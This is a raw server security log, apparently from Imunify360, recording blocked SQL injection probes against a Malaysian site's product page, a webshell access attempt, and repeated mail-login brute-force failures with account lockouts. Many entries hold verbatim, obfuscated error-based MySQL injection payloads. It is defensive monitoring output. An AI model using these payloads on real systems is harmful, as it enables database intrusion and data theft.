IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/gtid_subset(concat('~',(select/**/(elt(8155=8155,1))),'~'),8155) or 'cmegve6p'='qi0eq5cq||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:40:23 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43644: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\" AND AND/**/ROW(1056,4140)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1056=1056,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/4852/**/UNION/**/SELECT/**/9619/**/UNION/**/SELECT/**/6364/**/UNION/**/SELECT/**/2152)a/**/GROUP/**/BY/**/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-02-02 05:40:03 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:43454: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'))/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(10869=10869,1))),%27~%27),10869) AND (('cuZeELOg' LIKE 'cuZeELOg||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\" and and/**/row(1056,4140)>(select/**/count(*),concat('~',(select/**/(elt(1056=1056,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/4852/**/union/**/select/**/9619/**/union/**/select/**/6364/**/union/**/select/**/2152)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:40:05 dovecot_login authenticator failed for H=(KZmSraI) [165.154.217.204]:63231: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:40:18 dovecot_login authenticator failed for H=(JoGWZIY) [165.154.217.204]:65517: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1)))AND/**/ROW(8445,4427)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(8445=8445,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/7613/**/UNION/**/SELECT/**/10825/**/UNION/**/SELECT/**/6202/**/UNION/**/SELECT/**/8361)a/**/GROUP/**/BY/**/x) AND (((1207=1207||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:41:15 dovecot_login authenticator failed for H=(2jZw7gMmZT) [165.154.217.204]:58786: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'))/*!50000AND*/ROW(1935,7126)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(1935=1935,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/4695/*!50000UNION*//*!50000SELECT*/1316/*!50000UNION*//*!50000SELECT*/8508/*!50000UNION*//*!50000SELECT*/9016)a/*!50000GROUP*//*!50000BY*/x) AND (('CW8XMfVg' LIKE 'CW8XMfVg||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:41:11 dovecot_login authenticator failed for H=(8sQoESaIn) [158.94.208.175]:57360: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:41:16 dovecot_login authenticator failed for H=(1m0zRF5n) [77.83.39.253]:64725: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/row(10336,6656)>(select/**/count(*),concat('~',(select/**/(elt(10336=10336,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/5170/**/union/**/select/**/2852/**/union/**/select/**/3019/**/union/**/select/**/9961)a/**/group/**/by/**/x) or '3vtqchje'='crbk2rkd||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1)))and/**/row(8445,4427)>(select/**/count(*),concat('~',(select/**/(elt(8445=8445,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/7613/**/union/**/select/**/10825/**/union/**/select/**/6202/**/union/**/select/**/8361)a/**/group/**/by/**/x) and (((1207=1207||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1)))AND/**/ROW(8445,4427)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(8445=8445,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/7613/**/UNION/**/SELECT/**/10825/**/UNION/**/SELECT/**/6202/**/UNION/**/SELECT/**/8361)a/**/GROUP/**/BY/**/x) AND (((1207=1207||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:41:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)))and/**/row(8445,4427)>(select/**/count(*),concat('~',(select/**/(elt(8445=8445,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/7613/**/union/**/select/**/10825/**/union/**/select/**/6202/**/union/**/select/**/8361)a/**/group/**/by/**/x) and (((1207=1207||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:41:08 dovecot_login authenticator failed for H=(iqLpFOqDnC) [178.16.52.139]:64743: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/ROW(9818,3334)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9818=9818,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/3316/**/UNION/**/SELECT/**/7314/**/UNION/**/SELECT/**/1542/**/UNION/**/SELECT/**/10725)a/**/GROUP/**/BY/**/x)# VcV40cHM HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:41:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49873: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-02-02 05:41:59 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:42002: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'))AND/**/ROW(9882,3380)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9882=9882,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/9265/**/UNION/**/SELECT/**/8625/**/UNION/**/SELECT/**/8763/**/UNION/**/SELECT/**/5364)a/**/GROUP/**/BY/**/x) AND (('64RgZvqJ' LIKE '64RgZvqJ||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'and/**/row(10336,6656)>(select/**/count(*),concat('~',(select/**/(elt(10336=10336,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/5170/**/union/**/select/**/2852/**/union/**/select/**/3019/**/union/**/select/**/9961)a/**/group/**/by/**/x) or '3vtqchje'='crbk2rkd||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:42:03 dovecot_login authenticator failed for H=(0NxRHr) [77.83.39.253]:49506: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1' and and/**/row(5868,5592)>(select/**/count(*),concat('~',(select/**/(elt(5868=5868,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/10943/**/union/**/select/**/2063/**/union/**/select/**/5726/**/union/**/select/**/1785)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1') AND /*!50000AND*/ROW(9198,1126)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(9198=9198,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/9787/*!50000UNION*//*!50000SELECT*/3669/*!50000UNION*//*!50000SELECT*/8587/*!50000UNION*//*!50000SELECT*/2030)a/*!50000GROUP*//*!50000BY*/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:42:20 dovecot_login authenticator failed for H=(QfUcMYT) [165.154.217.204]:52030: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.243.174
country_id: 732800
description:
2026-02-02 05:42:39 dovecot_plain authenticator failed for H=(thoriad) [92.62.243.174]:47297: 535 Incorrect authentication data (set_id=mhisham.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:42:24 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56728: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:42:47 dovecot_login authenticator failed for H=(H8FK1e0zg) [158.94.208.175]:51107: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1') AND /*!50000AND*/ROW(9198,1126)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9198=9198,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/9787/*!50000UNION*//*!50000SELECT*/3669/*!50000UNION*//*!50000SELECT*/8587/*!50000UNION*//*!50000SELECT*/2030)a/*!50000GROUP*//*!50000BY*/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/row(5868,5592)>(select/**/count(*),concat('~',(select/**/(elt(5868=5868,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/10943/**/union/**/select/**/2063/**/union/**/select/**/5726/**/union/**/select/**/1785)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:42:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:42:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42298: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:42:04 dovecot_login authenticator failed for H=(aKhXOd) [178.16.52.139]:61805: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:42:12 dovecot_login authenticator failed for H=(Z8IHGR) [165.154.217.204]:51062: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-02 05:42:13 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:49572: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:43:41 dovecot_login authenticator failed for H=(2LLuQY5H) [158.94.208.175]:52941: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.173.170.186
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)and/**/row(5295,8308)>(select/**/count(*),concat('~',(select/**/(elt(5295=5295,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/10526/**/union/**/select/**/9806/**/union/**/select/**/5751/**/union/**/select/**/6419)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.150.168.226
country_id: 1814991
description:
2026-02-02 05:43:58 dovecot_login authenticator failed for H=([27.150.168.226]) [27.150.168.226]:39836: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'))and/**/row(5240,10683)>(select/**/count(*),concat('~',(select/**/(elt(5240=5240,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/3465/**/union/**/select/**/1956/**/union/**/select/**/7487/**/union/**/select/**/10240)a/**/group/**/by/**/x) and (('i4aydt5p' like 'i4aydt5p||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.173.170.186
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'/*!50000AND*/ROW(5329,1725)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(5329=5329,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/9501/*!50000UNION*//*!50000SELECT*/10280/*!50000UNION*//*!50000SELECT*/9591/*!50000UNION*//*!50000SELECT*/6090)a/*!50000GROUP*//*!50000BY*/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:43:15 dovecot_login authenticator failed for H=(pRJ1j37) [77.83.39.253]:64220: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:43:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53302: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.170.186
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/ROW(1131,3336)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1131=1131,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/2643/**/UNION/**/SELECT/**/3166/**/UNION/**/SELECT/**/8705/**/UNION/**/SELECT/**/8430)a/**/GROUP/**/BY/**/x)# rBUHphHo HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'))AND/**/ROW(5240,10683)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5240=5240,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/3465/**/UNION/**/SELECT/**/1956/**/UNION/**/SELECT/**/7487/**/UNION/**/SELECT/**/10240)a/**/GROUP/**/BY/**/x) AND (('I4aYDT5p' LIKE 'I4aYDT5p||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.173.170.186
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'/*!50000AND*/ROW(5329,1725)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(5329=5329,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/9501/*!50000UNION*//*!50000SELECT*/10280/*!50000UNION*//*!50000SELECT*/9591/*!50000UNION*//*!50000SELECT*/6090)a/*!50000GROUP*//*!50000BY*/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:43:30 dovecot_login authenticator failed for H=(4avf3UX5F1) [178.16.52.139]:52826: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'))and/**/row(5240,10683)>(select/**/count(*),concat('~',(select/**/(elt(5240=5240,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/3465/**/union/**/select/**/1956/**/union/**/select/**/7487/**/union/**/select/**/10240)a/**/group/**/by/**/x) and (('i4aydt5p' like 'i4aydt5p||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'))AND/**/ROW(5240,10683)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5240=5240,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/3465/**/UNION/**/SELECT/**/1956/**/UNION/**/SELECT/**/7487/**/UNION/**/SELECT/**/10240)a/**/GROUP/**/BY/**/x) AND (('I4aYDT5p' LIKE 'I4aYDT5p||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:43:37 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:43:11 dovecot_login authenticator failed for H=(x5DyEaoIW) [165.154.217.204]:58254: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.173.170.186
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1)and/**/row(5295,8308)>(select/**/count(*),concat('~',(select/**/(elt(5295=5295,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/10526/**/union/**/select/**/9806/**/union/**/select/**/5751/**/union/**/select/**/6419)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.177.204.4
country_id: 1269750
description:
2026-02-02 05:43:45 dovecot_login authenticator failed for H=([103.177.204.4]) [103.177.204.4]:44288: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:43:57 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:44:08 dovecot_login authenticator failed for H=(CZ2YYY3) [165.154.217.204]:64048: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:44:14 dovecot_login authenticator failed for H=(TgcY5Hj9Y8) [158.94.208.175]:54119: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.173.170.186
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\")/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(7597=7597,1))),%27~%27),7597) AND (\"UGhD4swB\"=\"UGhD4swB\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:44:36 dovecot_login authenticator failed for H=(LE0xgvkKYM) [165.154.217.204]:50190: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:44:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49847: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:44:42 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:32976: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 51.252.161.40
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(1980=1980,1))),%27~%27),1980) AND 'JcNYBOFJ' LIKE 'JcNYBOFJ||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:44:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:44:03 dovecot_login authenticator failed for H=(uQH64X6YXv) [77.83.39.253]:55125: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 51.252.161.40
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"))and/**/gtid_subset(concat('~',(select/**/(elt(3318=3318,1))),'~'),3318) and ((\"rn4vqist\"=\"rn4vqist\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:44:24 dovecot_login authenticator failed for H=(SQ9UGDg8Ue) [178.16.52.139]:56152: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:44:25 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.173.170.186
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')and/**/gtid_subset(concat('~',(select/**/(elt(5495=5495,1))),'~'),5495) and ('pt2rux7v' like 'pt2rux7v||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.252.161.40
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(4443=4443,1))),'~'),4443)# 471LQuDT HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.151.134.244
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND /*!50000AND*/JSON_KEYS((/*!50000SELECT*//*!50000CONVERT*/((/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(6552=6552,1))),'~'))/**/USING/**/utf8)))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 51.252.161.40
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(5277=5277,1))),'~'),5277) OR 'FeZxPaaZ'='P2kVuV6m||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.176.204.214
country_id: 1814991
description:
